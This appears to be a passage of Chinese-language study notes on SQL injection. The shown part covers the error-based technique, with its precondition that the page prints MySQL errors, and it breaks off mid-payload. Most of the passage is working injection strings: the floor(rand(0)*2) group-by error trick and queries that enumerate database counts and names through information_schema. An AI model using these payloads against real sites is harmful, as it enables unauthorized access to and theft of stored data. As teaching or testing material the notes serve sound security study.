sql注入-error、boolean、time-based and 宽字节

1、Error-based SQL injection

利用前提:

页面上没有显示位，但是需要输出SQL语句执行错误信息。比如mysqli_error()

优点:
不需要显示位
缺点:
需要输出mysqli_error( )的报错信息

• 通过floor报错

  select 列1(count()) ， 列2(concat()随机数) as x from 表 group by x;
  select count(),concat(database(),floor(rand(0)*2)) as x from users group by x
  select * from users where id = 1 and (select 345 from (表) as b )

• 获取有多少个数据库

  and (select 1 from(select count(*),concat((select (select (select
  concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from
  information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
  group by x)a)

• 通过limit 获取所有数据库名

  and (select 1 from(select count(*),concat((select (select (select concat(0x7e,
  schema_name, 0x7e) from informat